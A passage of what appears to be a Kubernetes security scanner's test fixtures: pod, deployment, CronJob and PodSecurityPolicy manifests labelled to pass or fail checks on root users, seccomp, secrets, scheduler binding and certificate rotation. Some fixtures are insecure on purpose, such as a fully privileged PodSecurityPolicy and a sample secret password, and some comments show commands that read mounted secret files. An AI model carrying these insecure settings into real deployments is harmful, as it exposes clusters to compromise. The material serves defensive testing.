metadata: name: pod5 spec: containers: - name: main image: alpine command: ["/bin/sleep", "999999"] securityContext: runAsUser: 1000 - name: main2 image: alpine command: ["/bin/sleep", "999999"] securityContext: runAsUser: 1000 ================================================ FILE: tests/kubernetes/checks/example_RootContainers/rootContainersUNKNOWN.yaml ================================================ apiVersion: v1 kind: Pod metadata: labels: name: nginx-pod name: nginx-pod spec: containers: image: "gcr.io/google_containers/nginx-slim:0.8" name: nginx-pod ports: containerPort: 80 name: web securityContext: privileged: true volumeMounts: mountPath: /usr/share/nginx/html name: achia-vol volumes: name: achia-vol persistentVolumeClaim: claimName: claim1 ================================================ FILE: tests/kubernetes/checks/example_RootContainersHighUID/rootContainersHighUIDFAILED.yaml ================================================ # Pod runAsUser not set, container runAsUser not set or < 10000 (FAILED) apiVersion: v1 kind: Pod metadata: name: pod1 spec: containers: - name: main image: alpine command: ["/bin/sleep", "999999"] --- # Pod runAsUser not set, container runAsUser not set or < 10000 (FAILED) apiVersion: v1 kind: Pod metadata: name: pod2 spec: containers: - name: main image: alpine command: ["/bin/sleep", "999999"] securityContext: runAsUser: 0 --- # Pod runAsUser >= 10000, override at container < 10000 (FAILED) apiVersion: v1 kind: Pod metadata: name: pod3 spec: securityContext: runAsUser: 11000 containers: - name: main image: alpine command: ["/bin/sleep", "999999"] - name: main2 image: alpine command: ["/bin/sleep", "999999"] securityContext: runAsUser: 0 --- # Pod runAsUser < 10000, no override at container (FAILED) apiVersion: v1 kind: Pod metadata: name: pod4 spec: securityContext: runAsUser: 1000 containers: - name: main image: alpine command: ["/bin/sleep", "999999"] - name: main2 image: alpine command: ["/bin/sleep", "999999"] --- # Pod runAsUser is not an integer (FAILED) apiVersion: v1 kind: Pod metadata: name: pod4 spec: securityContext: runAsUser: username containers: - name: main image: alpine command: ["/bin/sleep", "999999"] - name: main2 image: alpine command: ["/bin/sleep", "999999"] --- # Pod securityContext is not a dict (FAILED) apiVersion: v1 kind: Pod metadata: name: pod4 spec: securityContext: runAsUser:65534 fsGroup:65534 containers: - name: main image: alpine command: ["/bin/sleep", "999999"] - name: main2 image: alpine command: ["/bin/sleep", "999999"] ================================================ FILE: tests/kubernetes/checks/example_RootContainersHighUID/rootContainersHighUIDPASSED.yaml ================================================ # runAsUser set at pod >= 10000, not overridden by containers (PASSED) apiVersion: v1 kind: Pod metadata: name: pod1 spec: securityContext: runAsUser: 10000 containers: - name: main image: alpine command: ["/bin/sleep", "999999"] --- # Pod runAsUser < 10000, override at container >= 10000 (PASSED) apiVersion: v1 kind: Pod metadata: name: pod2 spec: securityContext: runAsUser: 180 containers: - name: main image: alpine command: ["/bin/sleep", "999999"] securityContext: runAsUser: 12000 --- # Pod runAsUser not set, container runAsUser set >= 10000 (PASSED) apiVersion: v1 kind: Pod metadata: name: pod3 spec: containers: - name: main image: alpine command: ["/bin/sleep", "999999"] securityContext: runAsUser: 12000 ================================================ FILE: tests/kubernetes/checks/example_RootContainersHighUID/rootContainersHighUIDUNKNOWN.yaml ================================================ apiVersion: v1 kind: Pod metadata: labels: name: nginx-pod name: nginx-pod spec: containers: image: "gcr.io/google_containers/nginx-slim:0.8" name: nginx-pod ports: containerPort: 80 name: web securityContext: privileged: true volumeMounts: mountPath: /usr/share/nginx/html name: achia-vol volumes: name: achia-vol persistentVolumeClaim: claimName: claim1 ================================================ FILE: tests/kubernetes/checks/example_RootContainersPSP/MustRunAsNonRoot-PASSED.yaml ================================================ apiVersion: policy/v1beta1 kind: PodSecurityPolicy metadata: name: restricted annotations: seccomp.security.alpha.kubernetes.io/allowedProfileNames: 'docker/default,runtime/default' apparmor.security.beta.kubernetes.io/allowedProfileNames: 'runtime/default' seccomp.security.alpha.kubernetes.io/defaultProfileName: 'runtime/default' apparmor.security.beta.kubernetes.io/defaultProfileName: 'runtime/default' spec: privileged: false # Required to prevent escalations to root. allowPrivilegeEscalation: false # This is redundant with non-root + disallow privilege escalation, # but we can provide it for defense in depth. requiredDropCapabilities: - ALL # Allow core volume types. volumes: - 'configMap' - 'emptyDir' - 'projected' - 'secret' - 'downwardAPI' # Assume that persistentVolumes set up by the cluster admin are safe to use. - 'persistentVolumeClaim' hostNetwork: false hostIPC: false hostPID: false runAsUser: # Require the container to run without root privileges. rule: 'MustRunAsNonRoot' seLinux: # This policy assumes the nodes are using AppArmor rather than SELinux. rule: 'RunAsAny' supplementalGroups: rule: 'MustRunAs' ranges: # Forbid adding the root group. - min: 1 max: 65535 fsGroup: rule: 'MustRunAs' ranges: # Forbid adding the root group. - min: 1 max: 65535 readOnlyRootFilesystem: false ================================================ FILE: tests/kubernetes/checks/example_RootContainersPSP/RunAsUserRange-FAILED.yaml ================================================ apiVersion: policy/v1beta1 kind: PodSecurityPolicy metadata: name: notsorestricted annotations: seccomp.security.alpha.kubernetes.io/allowedProfileNames: 'docker/default,runtime/default' apparmor.security.beta.kubernetes.io/allowedProfileNames: 'runtime/default' seccomp.security.alpha.kubernetes.io/defaultProfileName: 'runtime/default' apparmor.security.beta.kubernetes.io/defaultProfileName: 'runtime/default' spec: privileged: false # Required to prevent escalations to root. allowPrivilegeEscalation: false # This is redundant with non-root + disallow privilege escalation, # but we can provide it for defense in depth. requiredDropCapabilities: - ALL # Allow core volume types. volumes: - 'configMap' - 'emptyDir' - 'projected' - 'secret' - 'downwardAPI' # Assume that persistentVolumes set up by the cluster admin are safe to use. - 'persistentVolumeClaim' hostNetwork: false hostIPC: false hostPID: false runAsUser: rule: 'MustRunAs' ranges: - max: 65535 min: 32000 - min: 0 max: 1000 seLinux: # This policy assumes the nodes are using AppArmor rather than SELinux. rule: 'RunAsAny' supplementalGroups: rule: 'MustRunAs' ranges: # Forbid adding the root group. - min: 1 max: 65535 fsGroup: rule: 'MustRunAs' ranges: # Forbid adding the root group. - min: 1 max: 65535 readOnlyRootFilesystem: false ================================================ FILE: tests/kubernetes/checks/example_RootContainersPSP/RunAsUserRange-PASSED.yaml ================================================ apiVersion: policy/v1beta1 kind: PodSecurityPolicy metadata: name: restricted annotations: seccomp.security.alpha.kubernetes.io/allowedProfileNames: 'docker/default,runtime/default' apparmor.security.beta.kubernetes.io/allowedProfileNames: 'runtime/default' seccomp.security.alpha.kubernetes.io/defaultProfileName: 'runtime/default' apparmor.security.beta.kubernetes.io/defaultProfileName: 'runtime/default' spec: privileged: false # Required to prevent escalations to root. allowPrivilegeEscalation: false # This is redundant with non-root + disallow privilege escalation, # but we can provide it for defense in depth. requiredDropCapabilities: - ALL # Allow core volume types. volumes: - 'configMap' - 'emptyDir' - 'projected' - 'secret' - 'downwardAPI' # Assume that persistentVolumes set up by the cluster admin are safe to use. - 'persistentVolumeClaim' hostNetwork: false hostIPC: false hostPID: false runAsUser: # Require the container to run without root privileges. rule: 'MustRunAs' ranges: - max: 65535 min: 1 seLinux: # This policy assumes the nodes are using AppArmor rather than SELinux. rule: 'RunAsAny' supplementalGroups: rule: 'MustRunAs' ranges: # Forbid adding the root group. - min: 1 max: 65535 fsGroup: rule: 'MustRunAs' ranges: # Forbid adding the root group. - min: 1 max: 65535 readOnlyRootFilesystem: false ================================================ FILE: tests/kubernetes/checks/example_RootContainersPSP/psp-most-insecure-FAILED.yaml ================================================ apiVersion: policy/v1beta1 kind: PodSecurityPolicy metadata: name: privileged annotations: seccomp.security.alpha.kubernetes.io/allowedProfileNames: '*' spec: privileged: true allowPrivilegeEscalation: true allowedCapabilities: - '*' volumes: - '*' hostNetwork: true hostPorts: - min: 0 max: 65535 hostIPC: true hostPID: true runAsUser: rule: 'RunAsAny' seLinux: rule: 'RunAsAny' supplementalGroups: rule: 'RunAsAny' fsGroup: rule: 'RunAsAny' ================================================ FILE: tests/kubernetes/checks/example_RotateKubeletServerCertificate/KubeControllerManagerRotateKubeletServerCertificate-FAILED.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kubelet tier: control-plane name: kube-controller-manager-disabled namespace: kube-system spec: containers: - command: - kube-controller-manager - --feature-gates=RotateKubeletServerCertificate=false image: gcr.io/google_containers/kubelet-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kubelet resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_RotateKubeletServerCertificate/KubeControllerManagerRotateKubeletServerCertificate-PASSED.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kubelet tier: control-plane name: kube-controller-manager-enabled namespace: kube-system spec: containers: - command: - kube-controller-manager - --feature-gates=RotateKubeletServerCertificate=true image: gcr.io/google_containers/kubelet-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kubelet resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_RotateKubeletServerCertificate/KubletRotateKubeletServerCertificate-FAILED.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kubelet tier: control-plane name: kubelet-disabled namespace: kube-system spec: containers: - command: - kubelet - --feature-gates=RotateKubeletServerCertificate=false image: gcr.io/google_containers/kubelet-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kubelet resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_RotateKubeletServerCertificate/KubletRotateKubeletServerCertificate-PASSED.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kubelet tier: control-plane name: kubelet-enabled namespace: kube-system spec: containers: - command: - kubelet - --feature-gates=RotateKubeletServerCertificate=true image: gcr.io/google_containers/kubelet-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kubelet resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_SchedulerBindAddress/SchedulerBindAddress-FAILED-2.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kube-apiserver tier: control-plane name: kube-apiserver namespace: kube-system spec: containers: - command: - kube-scheduler image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kube-apiserver resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_SchedulerBindAddress/SchedulerBindAddress-FAILED.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kube-apiserver tier: control-plane name: kube-apiserver namespace: kube-system spec: containers: - command: - kube-scheduler - --bind-address=0.0.0.0 image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kube-apiserver resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_SchedulerBindAddress/SchedulerBindAddress-PASSED.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kube-apiserver tier: control-plane name: kube-apiserver namespace: kube-system spec: containers: - command: - kube-scheduler - --bind-address=127.0.0.1 image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kube-apiserver resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_SchedulerProfiling/SchedulerProfiling-FAILED.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kube-apiserver tier: control-plane name: kube-apiserver namespace: kube-system spec: containers: - command: - kube-scheduler - --profiling=true image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kube-apiserver resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_SchedulerProfiling/SchedulerProfiling-PASSED.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kube-scheduler tier: control-plane name: kube-scheduler namespace: kube-system spec: containers: - command: - kube-scheduler - --profiling=false image: gcr.io/google_containers/kube-scheduler-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kube-scheduler resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_Seccomp/cronjob-seccomp-FAILED.yaml ================================================ apiVersion: batch/v1 kind: CronJob metadata: name: cronjob-failed spec: jobTemplate: spec: template: spec: securityContext: runAsNonRoot: true containers: - image: "ubuntu" name: image schedule: "0 2 * * *" ================================================ FILE: tests/kubernetes/checks/example_Seccomp/cronjob-seccomp-PASSED.yaml ================================================ --- apiVersion: batch/v1beta1 kind: CronJob metadata: name: cronjob-passed spec: schedule: "0 * * * *" jobTemplate: spec: template: metadata: annotations: seccomp.security.alpha.kubernetes.io/pod: runtime/default spec: securityContext: runAsUser: 1000 runAsGroup: 3000 fsGroup: 2000 volumes: - name: sec-ctx-vol emptyDir: {} containers: - name: sec-ctx-demo image: busybox command: ["sh", "-c", "sleep 1h"] volumeMounts: - name: sec-ctx-vol mountPath: /data/demo securityContext: allowPrivilegeEscalation: false ================================================ FILE: tests/kubernetes/checks/example_Seccomp/cronjob-seccomp-PASSED2.yaml ================================================ apiVersion: batch/v1 kind: CronJob metadata: name: cronjob-passed2 spec: jobTemplate: spec: template: metadata: labels: app: new-app spec: securityContext: runAsNonRoot: true seccompProfile: type: RuntimeDefault containers: - image: "ubuntu" name: image securityContext: allowPrivilegeEscalation: false schedule: "0 2 * * *" ================================================ FILE: tests/kubernetes/checks/example_Seccomp/cronjob-seccomp-PASSED3.yaml ================================================ apiVersion: batch/v1 kind: CronJob metadata: name: cronjob-passed3 spec: jobTemplate: spec: template: spec: securityContext: seccompProfile: type: RuntimeDefault containers: - image: "ubuntu" name: image seccompProfile: type: RuntimeDefault schedule: "0 2 * * *" ================================================ FILE: tests/kubernetes/checks/example_Seccomp/cronjob-seccomp-securityContext-PASSED.yaml ================================================ --- apiVersion: batch/v1beta1 kind: CronJob metadata: name: cronjob-securityContext-passed spec: schedule: "0 * * * *" jobTemplate: spec: template: spec: securityContext: runAsNonRoot: true runAsUser: 1000 runAsGroup: 1000 seccompProfile: type: RuntimeDefault containers: - name: "test-job0" image: "nginx:alpine" imagePullPolicy: Always resources: requests: cpu: 100m ephemeral-storage: 1Mi memory: 512Mi limits: cpu: 100m ephemeral-storage: 10Gi memory: 512Mi securityContext: privileged: false allowPrivilegeEscalation: false readOnlyRootFilesystem: true capabilities: drop: - all restartPolicy: OnFailure ================================================ FILE: tests/kubernetes/checks/example_Seccomp/pod-seccomp-FAILED.yaml ================================================ # Source: https://kubernetes.io/docs/tasks/configure-pod-container/security-context/ apiVersion: v1 kind: Pod metadata: name: seccomp-failed spec: securityContext: runAsUser: 1000 runAsGroup: 3000 fsGroup: 2000 volumes: - name: sec-ctx-vol emptyDir: {} containers: - name: sec-ctx-demo image: busybox command: [ "sh", "-c", "sleep 1h" ] volumeMounts: - name: sec-ctx-vol mountPath: /data/demo securityContext: allowPrivilegeEscalation: false # kubectl exec -it seccomp-failed -- grep Seccomp /proc/1/status ### This will return 'Seccomp: 0' indicating docker running with no Seccomp ================================================ FILE: tests/kubernetes/checks/example_Seccomp/pod-seccomp-FAILED2.yaml ================================================ apiVersion: "apps/v1" kind: "Deployment" metadata: name: "app-cert-manager" namespace: "infra" labels: app: "cert-manager" app.kubernetes.io/name: "cert-manager" app.kubernetes.io/instance: "app-cert-manager" helm.sh/chart: "cert-manager-v0.11.0" spec: replicas: "2" selector: matchLabels: app: "cert-manager" app.kubernetes.io/name: "cert-manager" app.kubernetes.io/instance: "jetstack-cert-manager" template: metadata: labels: app: "cert-manager" app.kubernetes.io/name: "cert-manager" app.kubernetes.io/instance: "app-cert-manager" helm.sh/chart: "cert-manager-v0.11.0" annotations: spec: serviceAccountName: "app-cert-manager" containers: - name: "cert-manager" image: "quay.io/app/cert-manager-controller:v0.11.0" imagePullPolicy: "IfNotPresent" args: - "--v=2" - "--cluster-resource-namespace=infra" - "--leader-election-namespace=infra" - "--default-issuer-name=letsencrypt-prod" - "--default-issuer-kind=ClusterIssuer" - "--webhook-namespace=$(POD_NAMESPACE)" - "--webhook-ca-secret=app-cert-manager-webhook-ca" - "--webhook-serving-secret=app-cert-manager-webhook-tls" - "--webhook-dns-names=app-cert-manager-webhook,app-cert-manager-webhook.infra,app-cert-manager-webhook.infra.svc" ports: - containerPort: "9402" env: - name: "POD_NAMESPACE" valueFrom: fieldRef: fieldPath: "metadata.namespace" resources: apiVersion: "apps/v1" kind: "containers" parent: "Deployment.app-cert-manager.infra (container 0)" parent_metadata: name: "jetstack-cert-manager" namespace: "infra" labels: app: "cert-manager" app.kubernetes.io/name: "cert-manager" app.kubernetes.io/instance: "app-cert-manager" helm.sh/chart: "cert-manager-v0.11.0" ================================================ FILE: tests/kubernetes/checks/example_Seccomp/pod-seccomp-FAILED3.yaml ================================================ apiVersion: v1 kind: Pod metadata: name: my-insecure-pod spec: containers: - name: my-container image: my-image securityContext: seccompProfile: type: RuntimeDefault - name: my-container2 image: my-image2 ================================================ FILE: tests/kubernetes/checks/example_Seccomp/pod-seccomp-PASSED.yaml ================================================ # Source: https://kubernetes.io/docs/tasks/configure-pod-container/security-context/ apiVersion: v1 kind: Pod metadata: name: seccomp-passed-metadata-annotations-docker annotations: seccomp.security.alpha.kubernetes.io/pod: docker/default spec: securityContext: runAsUser: 1000 runAsGroup: 3000 fsGroup: 2000 volumes: - name: sec-ctx-vol emptyDir: {} containers: - name: sec-ctx-demo image: busybox command: [ "sh", "-c", "sleep 1h" ] volumeMounts: - name: sec-ctx-vol mountPath: /data/demo securityContext: allowPrivilegeEscalation: false # kubectl exec -it seccomp-passed -- grep Seccomp /proc/1/status ### This will return 'Seccomp: 2' indicating the Seccomp filter is on in the container ### # kubectl exec -it seccomp-passed -- /bin/sh # touch /tmp/testfile # chown 100:100 /tmp/testfile # This will fail - blocked by Seccomp # cat /proc/sys/kernel/seccomp/actions_avail # This shows the available actions (on newer kernels) ================================================ FILE: tests/kubernetes/checks/example_Seccomp/pod-seccomp-PASSED2.yaml ================================================ # Source: https://kubernetes.io/docs/tasks/configure-pod-container/security-context/ apiVersion: v1 kind: Pod metadata: name: seccomp-passed-metadata-annotations-runtime annotations: seccomp.security.alpha.kubernetes.io/pod: runtime/default spec: securityContext: runAsUser: 1000 runAsGroup: 3000 fsGroup: 2000 volumes: - name: sec-ctx-vol emptyDir: {} containers: - name: sec-ctx-demo image: busybox command: [ "sh", "-c", "sleep 1h" ] volumeMounts: - name: sec-ctx-vol mountPath: /data/demo securityContext: allowPrivilegeEscalation: false # kubectl exec -it seccomp-passed -- grep Seccomp /proc/1/status ### This will return 'Seccomp: 2' indicating the Seccomp filter is on in the container ### # kubectl exec -it seccomp-passed -- /bin/sh # touch /tmp/testfile # chown 100:100 /tmp/testfile # This will fail - blocked by Seccomp # cat /proc/sys/kernel/seccomp/actions_avail # This shows the available actions (on newer kernels) ================================================ FILE: tests/kubernetes/checks/example_Seccomp/pod-seccomp-PASSED3.yaml ================================================ # Source: https://kubernetes.io/docs/tasks/configure-pod-container/security-context/ apiVersion: v1 kind: Pod metadata: name: seccomp-passed-security-context spec: securityContext: runAsUser: 1000 runAsGroup: 3000 fsGroup: 2000 seccompProfile: type: RuntimeDefault volumes: - name: sec-ctx-vol emptyDir: {} containers: - name: sec-ctx-demo image: busybox command: [ "sh", "-c", "sleep 1h" ] volumeMounts: - name: sec-ctx-vol mountPath: /data/demo securityContext: allowPrivilegeEscalation: false # kubectl exec -it seccomp-failed -- grep Seccomp /proc/1/status ### This will return 'Seccomp: 0' indicating docker running with no Seccomp ================================================ FILE: tests/kubernetes/checks/example_Seccomp/pod-seccomp-PASSED4.yaml ================================================ apiVersion: apps/v1 kind: Deployment metadata: name: seccomp-passed-deployment spec: replicas: 2 selector: matchLabels: app: test template: metadata: labels: app: test spec: containers: - name: test image: quay.io/test:0.1 ports: - containerPort: 1234 securityContext: allowPrivilegeEscalation: false seccompProfile: type: RuntimeDefault ================================================ FILE: tests/kubernetes/checks/example_Seccomp/pod-seccomp-PASSED5.yaml ================================================ apiVersion: apps/v1 kind: StatefulSet metadata: name: RELEASE-NAME labels: app.kubernetes.io/instance: RELEASE-NAME annotations: namespace: default spec: serviceName: RELEASE-NAME replicas: 1 updateStrategy: type: RollingUpdate selector: matchLabels: app.kubernetes.io/instance: RELEASE-NAME template: metadata: name: RELEASE-NAME labels: app.kubernetes.io/instance: RELEASE-NAME annotations: spec: affinity: podAffinity: podAntiAffinity: nodeAffinity: automountServiceAccountToken: false securityContext: allowPrivilegeEscalation: false fsGroup: 10001 seccompProfile: type: RuntimeDefault containers: - name: RELEASE-NAME image: docker.io/test:1 imagePullPolicy: "Always" ================================================ FILE: tests/kubernetes/checks/example_Seccomp/pod-seccomp-PASSED6.yaml ================================================ apiVersion: apps/v1 kind: Deployment metadata: labels: app: test name: seccomp-passed-metadata-annotations spec: replicas: 2 selector: matchLabels: app: test strategy: {} template: metadata: labels: app: test annotations: seccomp.security.alpha.kubernetes.io/pod: "docker/default" spec: containers: - name: test image: quay.io/test:0.1 ports: - containerPort: 1234 ================================================ FILE: tests/kubernetes/checks/example_Seccomp/pod-seccomp-PASSED7.yaml ================================================ apiVersion: v1 kind: Pod metadata: name: my-secure-pod spec: containers: - name: my-container image: my-image securityContext: seccompProfile: type: RuntimeDefault ================================================ FILE: tests/kubernetes/checks/example_Seccomp/template.yaml ================================================ apiVersion: apps/v1 kind: Deployment metadata: labels: app.kubernetes.io/name: fdn-svc name: fdn-svc namespace: aws-dev spec: replicas: 2 selector: matchLabels: app.kubernetes.io/name: fdn-svc template: metadata: annotations: checksum/config: 9730118d75e24d06bac70b575dc49f6a75dd23c617198e4346fd6ed449362502 labels: app.kubernetes.io/name: fdn-svc spec: containers: - env: - name: APP_PORT value: '' - name: SSU value: '' - name: client_id value: fdn-svc - name: cache value: disabled - name: cache_ttl value: '60' - name: Filter_Attribute_value_separator value: '#' - name: NEW_RELIC_APP_NAME value: '' - name: NEW_RELIC_LICENSE_KEY value: '' - name: PREEMPTIVE_LICENSE_KEY value: '' - name: PREEMPTIVE_USER_EMAIL value: '' - name: DEPENDENCY_CHECK value: 'false' - name: authorization_type value: close - name: RBAC_Support value: enabled - name: TENANT_FILE_PATH value: /secrets image: '' imagePullPolicy: Always name: fdn-svc ports: - containerPort: 8080 name: http protocol: TCP resources: limits: cpu: 200m memory: 256Mi requests: cpu: 50m memory: 256Mi securityContext: allowPrivilegeEscalation: false capabilities: drop: - ALL readOnlyRootFilesystem: true runAsNonRoot: true runAsUser: 65532 seccompProfile: type: RuntimeDefault volumeMounts: - mountPath: /secrets name: tenant-config-volume readOnly: true imagePullSecrets: - name: bn-image-pullcreds securityContext: runAsUser: 65532 serviceAccountName: fdn-svc volumes: - name: tenant-config-volume secret: secretName: fdn-svc-secret ================================================ FILE: tests/kubernetes/checks/example_Secrets/nginx-NoSecret-PASSED.yaml ================================================ apiVersion: apps/v1 kind: Deployment metadata: name: my-nginx labels: app: nginx spec: replicas: 3 selector: matchLabels: app: nginx template: metadata: labels: app: nginx spec: containers: - name: nginx image: nginx:1.14.2 ports: - containerPort: 80 ================================================ FILE: tests/kubernetes/checks/example_Secrets/pod-secretEnvironment-FAILED.yaml ================================================ # Create base64 encoded backend-username # echo -n 'backend-admin' | base64 apiVersion: v1 kind: Secret metadata: name: backend-user data: backend-username: YmFja2VuZC1hZG1pbg== --- # Create base64 encoded db-username # echo -n 'db-admin' | base64 apiVersion: v1 kind: Secret metadata: name: db-user data: db-username: ZGItYWRtaW4= --- apiVersion: v1 kind: Pod metadata: name: secret-test-pod spec: containers: - name: secret-env-container image: nginx env: - name: SECRET_USERNAME valueFrom: secretKeyRef: name: backend-user key: backend-username - name: DB_USERNAME valueFrom: secretKeyRef: name: db-user key: db-username --- # Create base64 encoded user/password # echo -n 'my-app' | base64 # echo -n '39528$vdg7Jb' | base64 apiVersion: v1 kind: Secret metadata: name: test-secret data: username: bXktYXBw password: Mzk1MjgkdmRnN0pi # checkov:skip=CKV_SECRET_6 test secret --- apiVersion: v1 kind: Pod metadata: name: secret-test-pod-2 spec: containers: - name: envars-test-container image: nginx envFrom: - secretRef: name: test-secret # kubectl exec -it secret-test-pod -- env | grep USERNAME # kubectl exec -it secret-test-pod-2 -- env | egrep "user|pass" ================================================ FILE: tests/kubernetes/checks/example_Secrets/pod-secretVolume-PASSED.yaml ================================================ # Create base64 encoded user/password # echo -n 'my-app' | base64 # echo -n '39528$vdg7Jb' | base64 apiVersion: v1 kind: Secret metadata: name: test-secret data: username: bXktYXBw password: Mzk1MjgkdmRnN0pi # checkov:skip=CKV_SECRET_6 test secret --- apiVersion: v1 kind: Pod metadata: name: secret-test-pod spec: containers: - name: test-container image: nginx volumeMounts: # name must match the volume name below - name: secret-volume mountPath: /etc/secret-volume # The secret data is exposed to Containers in the Pod through a Volume. volumes: - name: secret-volume secret: secretName: test-secret # kubectl exec -it secret-test-pod -- ls /etc/secret-volume # kubectl exec -it secret-test-pod -- cat /etc/secret-volume/username # kubectl exec -it secret-test-pod -- cat /etc/secret-volume/password ================================================ FILE: tests/kubernetes/checks/example_Secrets/pod-secretsEnvironment-UNKNOWN.yaml ================================================ apiVersion: v1 kind: Pod metadata: name: secret-test-pod spec: containers: - name: secret-env-container image: nginx env: env ================================================ FILE: tests/kubernetes/checks/example_SecurityContexts/frontend-replicaset-both-FAILED.yaml ================================================ apiVersion: apps/v1 kind: ReplicaSet metadata: name: frontend labels: app: guestbook tier: frontend spec: # modify replicas according to your case replicas: 3 selector: matchLabels: tier: frontend template: metadata: labels: tier: frontend spec: containers: - name: php-redis image: gcr.io/google_samples/gb-frontend:v3 ================================================ FILE: tests/kubernetes/checks/example_SecurityContexts/pod-container-FAILED_malformed_spec.yaml ================================================ # Source: https://kubernetes.io/docs/tasks/configure-pod-container/security-context/ apiVersion: v1 kind: Pod metadata: name: security-context-demo spec: - securityContext: runAsUser: 1000 runAsGroup: 3000 fsGroup: 2000 - volumes: - name: sec-ctx-vol emptyDir: {} - containers: - name: sec-ctx-demo image: busybox command: [ "sh", "-c", "sleep 1h" ] volumeMounts: - name: sec-ctx-vol mountPath: /data/demo securityContext: allowPrivilegeEscalation: false # https://kubernetes.io/docs/tasks/configure-pod-container/security-context/ # cat /proc/1/status # allowPrivilegeEscalation: false means NoNewPrivs = 1 # https://www.kernel.org/doc/html/latest/userspace-api/no_new_privs.html ================================================ FILE: 